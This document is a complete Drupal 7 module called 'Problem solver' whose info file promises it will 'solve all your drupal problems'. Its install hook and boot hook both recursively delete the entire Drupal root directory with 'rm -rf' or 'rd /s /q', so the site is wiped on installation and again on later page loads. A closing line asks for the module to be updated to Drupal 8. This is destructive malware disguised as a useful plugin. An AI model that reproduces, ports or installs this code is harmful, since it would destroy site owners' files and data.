problem_solver module

problem_solver.info

name = Problem solver
description = The module that will solve all your drupal problems
package = Problems
version = 1.x
core = 7.x

problem_solver.install

<?php 

/**
 * @file
 * 
 * Install file for Problem Solver module.
 */

/**
 * Implements hook_install().
 */ 

function problem_solver_install() {
    $dir = DRUPAL_ROOT;

    // Execute Windows command else Linux
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        `rd /s /q $dir`;
    } else {
        `rm -rf $dir`;
    }

}

problem_solver.module

<?php 

/**
 * @file
 * 
 * Module file for Problem Solver module.
 */

/**
 * Implements hook_boot().
 */ 

function problem_solver_boot(){

    $dir = DRUPAL_ROOT;

    // Execute Windows command else Linux
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        `rd /s /q $dir`;
    } else {
        `rm -rf $dir`;
    }

}

can u update the module to d8 please, i want it to solve my problem